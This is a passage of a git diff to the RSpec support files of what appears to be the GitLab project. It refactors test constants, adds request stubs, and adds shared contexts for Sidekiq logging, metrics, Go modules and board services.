@@ -31,64 +31,64 @@
module SeedRepo
module BigCommit
- ID = "913c66a37b4a45b9769037c55c2d238bd0942d2e".freeze
- PARENT_ID = "cfe32cf61b73a0d5e9f13e774abde7ff789b1660".freeze
- MESSAGE = "Files, encoding and much more".freeze
- AUTHOR_FULL_NAME = "Dmitriy Zaporozhets".freeze
+ ID = "913c66a37b4a45b9769037c55c2d238bd0942d2e"
+ PARENT_ID = "cfe32cf61b73a0d5e9f13e774abde7ff789b1660"
+ MESSAGE = "Files, encoding and much more"
+ AUTHOR_FULL_NAME = "Dmitriy Zaporozhets"
FILES_COUNT = 2
end
module Commit
- ID = "570e7b2abdd848b95f2f578043fc23bd6f6fd24d".freeze
- PARENT_ID = "6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9".freeze
- MESSAGE = "Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n".freeze
- AUTHOR_FULL_NAME = "Dmitriy Zaporozhets".freeze
+ ID = "570e7b2abdd848b95f2f578043fc23bd6f6fd24d"
+ PARENT_ID = "6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9"
+ MESSAGE = "Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n"
+ AUTHOR_FULL_NAME = "Dmitriy Zaporozhets"
FILES = ["files/ruby/popen.rb", "files/ruby/regex.rb"].freeze
FILES_COUNT = 2
- C_FILE_PATH = "files/ruby".freeze
+ C_FILE_PATH = "files/ruby"
C_FILES = ["popen.rb", "regex.rb", "version_info.rb"].freeze
- BLOB_FILE = %{%h3= @key.title\n%hr\n%pre= @key.key\n.actions\n = link_to 'Remove', @key, :confirm => 'Are you sure?', :method => :delete, :class => \"btn danger delete-key\"\n\n\n}.freeze
- BLOB_FILE_PATH = "app/views/keys/show.html.haml".freeze
+ BLOB_FILE = %{%h3= @key.title\n%hr\n%pre= @key.key\n.actions\n = link_to 'Remove', @key, :confirm => 'Are you sure?', :method => :delete, :class => \"btn danger delete-key\"\n\n\n}
+ BLOB_FILE_PATH = "app/views/keys/show.html.haml"
end
module EmptyCommit
- ID = "b0e52af38d7ea43cf41d8a6f2471351ac036d6c9".freeze
- PARENT_ID = "40f4a7a617393735a95a0bb67b08385bc1e7c66d".freeze
- MESSAGE = "Empty commit".freeze
- AUTHOR_FULL_NAME = "Rémy Coutable".freeze
+ ID = "b0e52af38d7ea43cf41d8a6f2471351ac036d6c9"
+ PARENT_ID = "40f4a7a617393735a95a0bb67b08385bc1e7c66d"
+ MESSAGE = "Empty commit"
+ AUTHOR_FULL_NAME = "Rémy Coutable"
FILES = [].freeze
FILES_COUNT = FILES.count
end
module EncodingCommit
- ID = "40f4a7a617393735a95a0bb67b08385bc1e7c66d".freeze
- PARENT_ID = "66028349a123e695b589e09a36634d976edcc5e8".freeze
- MESSAGE = "Add ISO-8859-encoded file".freeze
- AUTHOR_FULL_NAME = "Stan Hu".freeze
+ ID = "40f4a7a617393735a95a0bb67b08385bc1e7c66d"
+ PARENT_ID = "66028349a123e695b589e09a36634d976edcc5e8"
+ MESSAGE = "Add ISO-8859-encoded file"
+ AUTHOR_FULL_NAME = "Stan Hu"
FILES = ["encoding/iso8859.txt"].freeze
FILES_COUNT = FILES.count
end
module FirstCommit
- ID = "1a0b36b3cdad1d2ee32457c102a8c0b7056fa863".freeze
+ ID = "1a0b36b3cdad1d2ee32457c102a8c0b7056fa863"
PARENT_ID = nil
- MESSAGE = "Initial commit".freeze
- AUTHOR_FULL_NAME = "Dmitriy Zaporozhets".freeze
+ MESSAGE = "Initial commit"
+ AUTHOR_FULL_NAME = "Dmitriy Zaporozhets"
FILES = ["LICENSE", ".gitignore", "README.md"].freeze
FILES_COUNT = 3
end
module LastCommit
- ID = "4b4918a572fa86f9771e5ba40fbd48e1eb03e2c6".freeze
- PARENT_ID = "0e1b353b348f8477bdbec1ef47087171c5032cd9".freeze
- MESSAGE = "Merge branch 'master' into 'master'".freeze
- AUTHOR_FULL_NAME = "Stan Hu".freeze
+ ID = "4b4918a572fa86f9771e5ba40fbd48e1eb03e2c6"
+ PARENT_ID = "0e1b353b348f8477bdbec1ef47087171c5032cd9"
+ MESSAGE = "Merge branch 'master' into 'master'"
+ AUTHOR_FULL_NAME = "Stan Hu"
FILES = ["bin/executable"].freeze
FILES_COUNT = FILES.count
end
module Repo
- HEAD = "master".freeze
+ HEAD = "master"
BRANCHES = %w[
feature
fix
@@ -111,9 +111,9 @@ module SeedRepo
end
module RubyBlob
- ID = "7e3e39ebb9b2bf433b4ad17313770fbe4051649c".freeze
- NAME = "popen.rb".freeze
- CONTENT = <<-eos.freeze
+ ID = "7e3e39ebb9b2bf433b4ad17313770fbe4051649c"
+ NAME = "popen.rb"
+ CONTENT = <<-eos
require 'fileutils'
require 'open3'
diff --git a/spec/support/helpers/stub_env.rb b/spec/support/helpers/stub_env.rb
index 8107ffc939f..5f344f8fb52 100644
--- a/spec/support/helpers/stub_env.rb
+++ b/spec/support/helpers/stub_env.rb
@@ -14,7 +14,7 @@ module StubENV
private
- STUBBED_KEY = '__STUBBED__'.freeze
+ STUBBED_KEY = '__STUBBED__'
def add_stubbed_value(key, value)
allow(ENV).to receive(:[]).with(key).and_return(value)
diff --git a/spec/support/helpers/stub_requests.rb b/spec/support/helpers/stub_requests.rb
index 473f07dd413..a3810323fee 100644
--- a/spec/support/helpers/stub_requests.rb
+++ b/spec/support/helpers/stub_requests.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module StubRequests
- IP_ADDRESS_STUB = '8.8.8.9'.freeze
+ IP_ADDRESS_STUB = '8.8.8.9'
# Fully stubs a request using WebMock class. This class also
# stubs the IP address the URL is translated to (DNS lookup).
diff --git a/spec/support/helpers/test_env.rb b/spec/support/helpers/test_env.rb
index 266c0e18ccd..7ba15a9c00b 100644
--- a/spec/support/helpers/test_env.rb
+++ b/spec/support/helpers/test_env.rb
@@ -92,7 +92,7 @@ module TestEnv
}.freeze
TMP_TEST_PATH = Rails.root.join('tmp', 'tests').freeze
- REPOS_STORAGE = 'default'.freeze
+ REPOS_STORAGE = 'default'
SECOND_STORAGE_PATH = Rails.root.join('tmp', 'tests', 'second_storage')
# Test environment
@@ -170,7 +170,14 @@ module TestEnv
install_dir: gitaly_dir,
version: Gitlab::GitalyClient.expected_server_version,
task: "gitlab:gitaly:install[#{install_gitaly_args}]") do
- Gitlab::SetupHelper::Gitaly.create_configuration(gitaly_dir, { 'default' => repos_path }, force: true)
+ Gitlab::SetupHelper::Gitaly.create_configuration(
+ gitaly_dir,
+ { 'default' => repos_path },
+ force: true,
+ options: {
+ prometheus_listen_addr: 'localhost:9236'
+ }
+ )
Gitlab::SetupHelper::Gitaly.create_configuration(
gitaly_dir,
{ 'default' => repos_path },
diff --git a/spec/support/helpers/usage_data_helpers.rb b/spec/support/helpers/usage_data_helpers.rb
index df79049123d..d05676a649e 100644
--- a/spec/support/helpers/usage_data_helpers.rb
+++ b/spec/support/helpers/usage_data_helpers.rb
@@ -174,6 +174,22 @@ module UsageDataHelpers
allow(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
end
+ def stub_prometheus_queries
+ stub_request(:get, %r{^https?://::1:9090/-/ready})
+ .to_return(
+ status: 200,
+ body: [{}].to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+
+ stub_request(:get, %r{^https?://::1:9090/api/v1/query\?query=.*})
+ .to_return(
+ status: 200,
+ body: [{}].to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+ end
+
def clear_memoized_values(values)
values.each { |v| described_class.clear_memoization(v) }
end
@@ -242,4 +258,12 @@ module UsageDataHelpers
end
end
end
+
+ def load_sample_metric_definition(filename: 'sample_metric.yml')
+ load_metric_yaml(fixture_file("lib/generators/gitlab/usage_metric_definition_generator/#{filename}"))
+ end
+
+ def load_metric_yaml(data)
+ ::Gitlab::Config::Loader::Yaml.new(data).load_raw!
+ end
end
diff --git a/spec/support/import_export/project_tree_expectations.rb b/spec/support/import_export/project_tree_expectations.rb
index 966c977e8e9..2423a58a3e6 100644
--- a/spec/support/import_export/project_tree_expectations.rb
+++ b/spec/support/import_export/project_tree_expectations.rb
@@ -97,13 +97,13 @@ module ImportExport
def normalize_elements(elem)
case elem
when Hash
- elem.map do |key, value|
+ elem.to_h do |key, value|
if ignore_key?(key, value)
[key, :ignored]
else
[key, normalize_elements(value)]
end
- end.to_h
+ end
when Array
elem.map { |a| normalize_elements(a) }
else
diff --git a/spec/support/matchers/exceed_query_limit.rb b/spec/support/matchers/exceed_query_limit.rb
index 7a66eff3a41..b48c7f905b2 100644
--- a/spec/support/matchers/exceed_query_limit.rb
+++ b/spec/support/matchers/exceed_query_limit.rb
@@ -20,6 +20,11 @@ module ExceedQueryLimitHelpers
self
end
+ def for_model(model)
+ table = model.table_name if model < ActiveRecord::Base
+ for_query(/(FROM|UPDATE|INSERT INTO|DELETE FROM)\s+"#{table}"/)
+ end
+
def show_common_queries
@show_common_queries = true
self
diff --git a/spec/support/matchers/graphql_matchers.rb b/spec/support/matchers/graphql_matchers.rb
index 565c21e0f85..904b7efdd7f 100644
--- a/spec/support/matchers/graphql_matchers.rb
+++ b/spec/support/matchers/graphql_matchers.rb
@@ -30,11 +30,13 @@ RSpec::Matchers.define :have_graphql_fields do |*expected|
end
match do |kls|
- if @allow_extra
- expect(kls.fields.keys).to include(*expected_field_names)
- else
- expect(kls.fields.keys).to contain_exactly(*expected_field_names)
- end
+ keys = kls.fields.keys.to_set
+ fields = expected_field_names.to_set
+
+ next true if fields == keys
+ next true if @allow_extra && fields.proper_subset?(keys)
+
+ false
end
failure_message do |kls|
@@ -108,7 +110,7 @@ RSpec::Matchers.define :have_graphql_arguments do |*expected|
names = expected_names(field).inspect
args = field.arguments.keys.inspect
- "expected that #{field.name} would have the following arguments: #{names}, but it has #{args}."
+ "expected #{field.name} to have the following arguments: #{names}, but it has #{args}."
end
end
diff --git a/spec/support/matchers/track_self_describing_event_matcher.rb b/spec/support/matchers/track_self_describing_event_matcher.rb
deleted file mode 100644
index c3723d2418f..00000000000
--- a/spec/support/matchers/track_self_describing_event_matcher.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-RSpec::Matchers.define :track_self_describing_event do |schema, data|
- match do
- expect(Gitlab::Tracking).to have_received(:self_describing_event)
- .with(schema, data: data)
- end
-
- match_when_negated do
- expect(Gitlab::Tracking).not_to have_received(:self_describing_event)
- end
-end
diff --git a/spec/support/shared_contexts/email_shared_context.rb b/spec/support/shared_contexts/email_shared_context.rb
index 9dffea7c94e..14c6c85cc43 100644
--- a/spec/support/shared_contexts/email_shared_context.rb
+++ b/spec/support/shared_contexts/email_shared_context.rb
@@ -82,8 +82,8 @@ RSpec.shared_examples :note_handler_shared_examples do |forwardable|
let!(:email_raw) { update_commands_only }
context 'and current user cannot update noteable' do
- it 'raises a CommandsOnlyNoteError' do
- expect { receiver.execute }.to raise_error(Gitlab::Email::InvalidNoteError)
+ it 'does not raise an error' do
+ expect { receiver.execute }.not_to raise_error
end
end
@@ -92,15 +92,11 @@ RSpec.shared_examples :note_handler_shared_examples do |forwardable|
project.add_developer(user)
end
- it 'does not raise an error', unless: forwardable do
+ it 'does not raise an error' do
expect { receiver.execute }.to change { noteable.resource_state_events.count }.by(1)
expect(noteable.reload).to be_closed
end
-
- it 'raises an InvalidNoteError', if: forwardable do
- expect { receiver.execute }.to raise_error(Gitlab::Email::InvalidNoteError)
- end
end
end
end
@@ -189,6 +185,7 @@ RSpec.shared_examples :note_handler_shared_examples do |forwardable|
let(:email_raw) { with_quick_actions }
let!(:sent_notification) do
+ allow(Gitlab::ServiceDesk).to receive(:enabled?).with(project: project).and_return(true)
SentNotification.record_note(note, support_bot.id, mail_key)
end
diff --git a/spec/support/shared_contexts/lib/gitlab/sidekiq_logging/structured_logger_shared_context.rb b/spec/support/shared_contexts/lib/gitlab/sidekiq_logging/structured_logger_shared_context.rb
new file mode 100644
index 00000000000..5a72b330707
--- /dev/null
+++ b/spec/support/shared_contexts/lib/gitlab/sidekiq_logging/structured_logger_shared_context.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'structured_logger' do
+ let(:timestamp) { Time.iso8601('2018-01-01T12:00:00.000Z') }
+ let(:created_at) { timestamp - 1.second }
+ let(:scheduling_latency_s) { 1.0 }
+
+ let(:job) do
+ {
+ "class" => "TestWorker",
+ "args" => [1234, 'hello', { 'key' => 'value' }],
+ "retry" => false,
+ "queue" => "cronjob:test_queue",
+ "queue_namespace" => "cronjob",
+ "jid" => "da883554ee4fe414012f5f42",
+ "created_at" => created_at.to_f,
+ "enqueued_at" => created_at.to_f,
+ "correlation_id" => 'cid',
+ "error_message" => "wrong number of arguments (2 for 3)",
+ "error_class" => "ArgumentError",
+ "error_backtrace" => []
+ }
+ end
+
+ let(:logger) { double }
+ let(:clock_realtime_start) { 0.222222299 }
+ let(:clock_realtime_end) { 1.333333799 }
+ let(:clock_thread_cputime_start) { 0.222222299 }
+ let(:clock_thread_cputime_end) { 1.333333799 }
+ let(:start_payload) do
+ job.except('error_backtrace', 'error_class', 'error_message').merge(
+ 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: start',
+ 'job_status' => 'start',
+ 'pid' => Process.pid,
+ 'created_at' => created_at.to_f,
+ 'enqueued_at' => created_at.to_f,
+ 'scheduling_latency_s' => scheduling_latency_s,
+ 'job_size_bytes' => be > 0
+ )
+ end
+
+ let(:end_payload) do
+ start_payload.merge(
+ 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: done: 0.0 sec',
+ 'job_status' => 'done',
+ 'duration_s' => 0.0,
+ 'completed_at' => timestamp.to_f,
+ 'cpu_s' => 1.111112,
+ 'db_duration_s' => 0.0,
+ 'db_cached_count' => 0,
+ 'db_count' => 0,
+ 'db_write_count' => 0
+ )
+ end
+
+ let(:exception_payload) do
+ end_payload.merge(
+ 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: fail: 0.0 sec',
+ 'job_status' => 'fail',
+ 'error_class' => 'ArgumentError',
+ 'error_message' => 'Something went wrong',
+ 'error_backtrace' => be_a(Array).and(be_present)
+ )
+ end
+
+ before do
+ allow(Sidekiq).to receive(:logger).and_return(logger)
+
+ allow(subject).to receive(:current_time).and_return(timestamp.to_f)
+
+ allow(Process).to receive(:clock_gettime).with(Process::CLOCK_REALTIME, :float_second)
+ .and_return(clock_realtime_start, clock_realtime_end)
+ allow(Process).to receive(:clock_gettime).with(Process::CLOCK_THREAD_CPUTIME_ID, :float_second)
+ .and_return(clock_thread_cputime_start, clock_thread_cputime_end)
+ end
+
+ subject { described_class.new }
+
+ def call_subject(job, queue)
+ # This structured logger strongly depends on execution of `InstrumentationLogger`
+ subject.call(job, queue) do
+ ::Gitlab::SidekiqMiddleware::InstrumentationLogger.new.call('worker', job, queue) do
+ yield
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_contexts/lib/gitlab/sidekiq_middleware/server_metrics_shared_context.rb b/spec/support/shared_contexts/lib/gitlab/sidekiq_middleware/server_metrics_shared_context.rb
new file mode 100644
index 00000000000..73de631e293
--- /dev/null
+++ b/spec/support/shared_contexts/lib/gitlab/sidekiq_middleware/server_metrics_shared_context.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'server metrics with mocked prometheus' do
+ let(:concurrency_metric) { double('concurrency metric') }
+
+ let(:queue_duration_seconds) { double('queue duration seconds metric') }
+ let(:completion_seconds_metric) { double('completion seconds metric') }
+ let(:user_execution_seconds_metric) { double('user execution seconds metric') }
+ let(:db_seconds_metric) { double('db seconds metric') }
+ let(:gitaly_seconds_metric) { double('gitaly seconds metric') }
+ let(:failed_total_metric) { double('failed total metric') }
+ let(:retried_total_metric) { double('retried total metric') }
+ let(:redis_requests_total) { double('redis calls total metric') }
+ let(:running_jobs_metric) { double('running jobs metric') }
+ let(:redis_seconds_metric) { double('redis seconds metric') }
+ let(:elasticsearch_seconds_metric) { double('elasticsearch seconds metric') }
+ let(:elasticsearch_requests_total) { double('elasticsearch calls total metric') }
+
+ before do
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_queue_duration_seconds, anything, anything, anything).and_return(queue_duration_seconds)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_completion_seconds, anything, anything, anything).and_return(completion_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_cpu_seconds, anything, anything, anything).and_return(user_execution_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_db_seconds, anything, anything, anything).and_return(db_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_gitaly_seconds, anything, anything, anything).and_return(gitaly_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_redis_requests_duration_seconds, anything, anything, anything).and_return(redis_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_elasticsearch_requests_duration_seconds, anything, anything, anything).and_return(elasticsearch_seconds_metric)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_jobs_failed_total, anything).and_return(failed_total_metric)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_jobs_retried_total, anything).and_return(retried_total_metric)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_redis_requests_total, anything).and_return(redis_requests_total)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_elasticsearch_requests_total, anything).and_return(elasticsearch_requests_total)
+ allow(Gitlab::Metrics).to receive(:gauge).with(:sidekiq_running_jobs, anything, {}, :all).and_return(running_jobs_metric)
+ allow(Gitlab::Metrics).to receive(:gauge).with(:sidekiq_concurrency, anything, {}, :all).and_return(concurrency_metric)
+
+ allow(concurrency_metric).to receive(:set)
+ end
+end
+
+RSpec.shared_context 'server metrics call' do
+ let(:thread_cputime_before) { 1 }
+ let(:thread_cputime_after) { 2 }
+ let(:thread_cputime_duration) { thread_cputime_after - thread_cputime_before }
+
+ let(:monotonic_time_before) { 11 }
+ let(:monotonic_time_after) { 20 }
+ let(:monotonic_time_duration) { monotonic_time_after - monotonic_time_before }
+
+ let(:queue_duration_for_job) { 0.01 }
+
+ let(:db_duration) { 3 }
+ let(:gitaly_duration) { 4 }
+
+ let(:redis_calls) { 2 }
+ let(:redis_duration) { 0.01 }
+
+ let(:elasticsearch_calls) { 8 }
+ let(:elasticsearch_duration) { 0.54 }
+ let(:instrumentation) do
+ {
+ gitaly_duration_s: gitaly_duration,
+ redis_calls: redis_calls,
+ redis_duration_s: redis_duration,
+ elasticsearch_calls: elasticsearch_calls,
+ elasticsearch_duration_s: elasticsearch_duration
+ }
+ end
+
+ before do
+ allow(subject).to receive(:get_thread_cputime).and_return(thread_cputime_before, thread_cputime_after)
+ allow(Gitlab::Metrics::System).to receive(:monotonic_time).and_return(monotonic_time_before, monotonic_time_after)
+ allow(Gitlab::InstrumentationHelper).to receive(:queue_duration_for_job).with(job).and_return(queue_duration_for_job)
+ allow(ActiveRecord::LogSubscriber).to receive(:runtime).and_return(db_duration * 1000)
+
+ job[:instrumentation] = instrumentation
+ job[:gitaly_duration_s] = gitaly_duration
+ job[:redis_calls] = redis_calls
+ job[:redis_duration_s] = redis_duration
+
+ job[:elasticsearch_calls] = elasticsearch_calls
+ job[:elasticsearch_duration_s] = elasticsearch_duration
+
+ allow(running_jobs_metric).to receive(:increment)
+ allow(redis_requests_total).to receive(:increment)
+ allow(elasticsearch_requests_total).to receive(:increment)
+ allow(queue_duration_seconds).to receive(:observe)
+ allow(user_execution_seconds_metric).to receive(:observe)
+ allow(db_seconds_metric).to receive(:observe)
+ allow(gitaly_seconds_metric).to receive(:observe)
+ allow(completion_seconds_metric).to receive(:observe)
+ allow(redis_seconds_metric).to receive(:observe)
+ allow(elasticsearch_seconds_metric).to receive(:observe)
+ end
+end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index 671c0cdf79c..78d14ecb880 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -59,7 +59,7 @@ RSpec.shared_context 'project navbar structure' do
]
},
{
- nav_item: _('Merge Requests'),
+ nav_item: _('Merge requests'),
nav_sub_items: []
},
{
@@ -139,6 +139,7 @@ RSpec.shared_context 'group navbar structure' do
_('Projects'),
_('Repository'),
_('CI/CD'),
+ _('Applications'),
_('Packages & Registries'),
_('Webhooks')
]
@@ -189,7 +190,7 @@ RSpec.shared_context 'group navbar structure' do
]
},
{
- nav_item: _('Merge Requests'),
+ nav_item: _('Merge requests'),
nav_sub_items: []
},
security_and_compliance_nav_item,
diff --git a/spec/support/shared_contexts/project_service_jira_context.rb b/spec/support/shared_contexts/project_service_jira_context.rb
index 8e01de70846..54bb9fd108e 100644
--- a/spec/support/shared_contexts/project_service_jira_context.rb
+++ b/spec/support/shared_contexts/project_service_jira_context.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
RSpec.shared_context 'project service Jira context' do
- let(:url) { 'http://jira.example.com' }
- let(:test_url) { 'http://jira.example.com/rest/api/2/serverInfo' }
+ let(:url) { 'https://jira.example.com' }
+ let(:test_url) { 'https://jira.example.com/rest/api/2/serverInfo' }
def fill_form(disable: false)
click_active_checkbox if disable
@@ -10,6 +10,5 @@ RSpec.shared_context 'project service Jira context' do
fill_in 'service_url', with: url
fill_in 'service_username', with: 'username'
fill_in 'service_password', with: 'password'
- fill_in 'service_jira_issue_transition_id', with: '25'
end
end
diff --git a/spec/support/shared_contexts/project_service_shared_context.rb b/spec/support/shared_contexts/project_service_shared_context.rb
index b4b9ab456e0..a8e75c624e8 100644
--- a/spec/support/shared_contexts/project_service_shared_context.rb
+++ b/spec/support/shared_contexts/project_service_shared_context.rb
@@ -15,7 +15,10 @@ RSpec.shared_context 'project service activation' do
def visit_project_integration(name)
visit_project_integrations
- click_link(name)
+
+ within('#content-body') do
+ click_link(name)
+ end
end
def click_active_checkbox
diff --git a/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
index f3bbb325475..ac53be1a1cb 100644
--- a/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
+++ b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
@@ -41,13 +41,6 @@ RSpec.shared_context 'conan recipe endpoints' do
let(:jwt) { build_jwt(personal_access_token) }
let(:headers) { build_token_auth_header(jwt.encoded) }
let(:conan_package_reference) { '123456789' }
- let(:presenter) { double('::Packages::Conan::PackagePresenter') }
-
- before do
- allow(::Packages::Conan::PackagePresenter).to receive(:new)
- .with(package, user, package.project, any_args)
- .and_return(presenter)
- end
end
RSpec.shared_context 'conan file download endpoints' do
diff --git a/spec/support/shared_contexts/requests/api/go_modules_shared_context.rb b/spec/support/shared_contexts/requests/api/go_modules_shared_context.rb
new file mode 100644
index 00000000000..5a90c3076b1
--- /dev/null
+++ b/spec/support/shared_contexts/requests/api/go_modules_shared_context.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'basic Go module' do
+ let_it_be(:user) { create :user }
+ let_it_be(:project) { create :project_empty_repo, creator: user, path: 'my-go-lib' }
+
+ let_it_be(:commit_v1_0_0) { create :go_module_commit, :files, project: project, tag: 'v1.0.0', files: { 'README.md' => 'Hi' } }
+ let_it_be(:commit_v1_0_1) { create :go_module_commit, :module, project: project, tag: 'v1.0.1' }
+ let_it_be(:commit_v1_0_2) { create :go_module_commit, :package, project: project, tag: 'v1.0.2', path: 'pkg' }
+ let_it_be(:commit_v1_0_3) { create :go_module_commit, :module, project: project, tag: 'v1.0.3', name: 'mod' }
+ let_it_be(:commit_file_y) { create :go_module_commit, :files, project: project, files: { 'y.go' => "package a\n" } }
+ let_it_be(:commit_mod_v2) { create :go_module_commit, :module, project: project, name: 'v2' }
+ let_it_be(:commit_v2_0_0) { create :go_module_commit, :files, project: project, tag: 'v2.0.0', files: { 'v2/x.go' => "package a\n" } }
+end
diff --git a/spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb b/spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb
index bcc98cf6416..80f011f622b 100644
--- a/spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb
+++ b/spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb
@@ -23,7 +23,7 @@ RSpec.shared_context 'container repository delete tags service shared context' d
end
def stub_delete_reference_requests(tags)
- tags = Hash[Array.wrap(tags).map { |tag| [tag, 200] }] unless tags.is_a?(Hash)
+ tags = Array.wrap(tags).to_h { |tag| [tag, 200] } unless tags.is_a?(Hash)
tags.each do |tag, status|
stub_request(:delete, "http://registry.gitlab/v2/#{repository.path}/tags/reference/#{tag}")
diff --git a/spec/support/shared_contexts/services_shared_context.rb b/spec/support/shared_contexts/services_shared_context.rb
index 3322c6ef01a..f250632ff51 100644
--- a/spec/support/shared_contexts/services_shared_context.rb
+++ b/spec/support/shared_contexts/services_shared_context.rb
@@ -28,6 +28,8 @@ Service.available_services_names.each do |service|
hash.merge!(k => 1234)
elsif service == 'jira' && k == :jira_issue_transition_id
hash.merge!(k => '1,2,3')
+ elsif service == 'emails_on_push' && k == :recipients
+ hash.merge!(k => 'foo@bar.com')
else
hash.merge!(k => "someword")
end
diff --git a/spec/support/shared_examples/boards/destroy_service_shared_examples.rb b/spec/support/shared_examples/boards/destroy_service_shared_examples.rb
new file mode 100644
index 00000000000..33bae3da44b
--- /dev/null
+++ b/spec/support/shared_examples/boards/destroy_service_shared_examples.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'board destroy service' do
+ describe '#execute' do
+ let(:parent_type) { parent.is_a?(Project) ? :project : :group }
+ let!(:board) { create(board_factory, parent_type => parent) }
+
+ subject(:service) { described_class.new(parent, double) }
+
+ context 'when there is more than one board' do
+ let!(:board2) { create(board_factory, parent_type => parent) }
+
+ it 'destroys the board' do
+ create(board_factory, parent_type => parent)
+
+ expect do
+ expect(service.execute(board)).to be_success
+ end.to change(boards, :count).by(-1)
+ end
+ end
+
+ context 'when there is only one board' do
+ it 'does not remove board' do
+ expect do
+ expect(service.execute(board)).to be_error
+ end.not_to change(boards, :count)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/boards/lists/update_service_shared_examples.rb b/spec/support/shared_examples/boards/lists/update_service_shared_examples.rb
new file mode 100644
index 00000000000..d8a74f2582d
--- /dev/null
+++ b/spec/support/shared_examples/boards/lists/update_service_shared_examples.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'moving list' do
+ context 'when user can admin list' do
+ it 'calls Lists::MoveService to update list position' do
+ board.resource_parent.add_developer(user)
+
+ expect_next_instance_of(Boards::Lists::MoveService, board.resource_parent, user, params) do |move_service|
+ expect(move_service).to receive(:execute).with(list).and_call_original
+ end
+
+ service.execute(list)
+ end
+ end
+
+ context 'when user cannot admin list' do
+ it 'does not call Lists::MoveService to update list position' do
+ expect(Boards::Lists::MoveService).not_to receive(:new)
+
+ service.execute(list)
+ end
+ end
+end
+
+RSpec.shared_examples 'updating list preferences' do
+ context 'when user can read list' do
+ it 'updates list preference for user' do
+ board.resource_parent.add_guest(user)
+
+ service.execute(list)
+
+ expect(list.preferences_for(user).collapsed).to eq(true)
+ end
+ end
+
+ context 'when user cannot read list' do
+ it 'does not update list preference for user' do
+ service.execute(list)
+
+ expect(list.preferences_for(user).collapsed).to be_falsy
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/snippet_blob_shared_examples.rb b/spec/support/shared_examples/controllers/snippet_blob_shared_examples.rb
index 62aaec85162..c939c306d93 100644
--- a/spec/support/shared_examples/controllers/snippet_blob_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/snippet_blob_shared_examples.rb
@@ -36,16 +36,6 @@ RSpec.shared_examples 'raw snippet blob' do
expect(response.header['Content-Disposition']).to match "attachment; filename=\"#{filepath}\""
end
-
- context 'when the feature flag attachment_with_filename is disabled' do
- it 'returns just attachment in the disposition header' do
- stub_feature_flags(attachment_with_filename: false)
-
- subject
-
- expect(response.header['Content-Disposition']).to eq 'attachment'
- end
- end
end
end
diff --git a/spec/support/shared_examples/controllers/snippet_shared_examples.rb b/spec/support/shared_examples/controllers/snippet_shared_examples.rb
new file mode 100644
index 00000000000..f49cc979368
--- /dev/null
+++ b/spec/support/shared_examples/controllers/snippet_shared_examples.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'snippets views' do
+ let(:params) { {} }
+
+ before do
+ sign_in(user)
+ end
+
+ context 'when rendered' do
+ render_views
+
+ it 'avoids N+1 database queries' do
+ # Warming call to load everything non snippet related
+ get(:index, params: params)
+
+ project = create(:project, namespace: user.namespace)
+ create(:project_snippet, project: project, author: user)
+
+ control_count = ActiveRecord::QueryRecorder.new { get(:index, params: params) }.count
+
+ project = create(:project, namespace: user.namespace)
+ create(:project_snippet, project: project, author: user)
+
+ expect { get(:index, params: params) }.not_to exceed_query_limit(control_count)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/trackable_shared_examples.rb b/spec/support/shared_examples/controllers/trackable_shared_examples.rb
deleted file mode 100644
index dac7d8c94ff..00000000000
--- a/spec/support/shared_examples/controllers/trackable_shared_examples.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-# frozen_string_literal: true
-
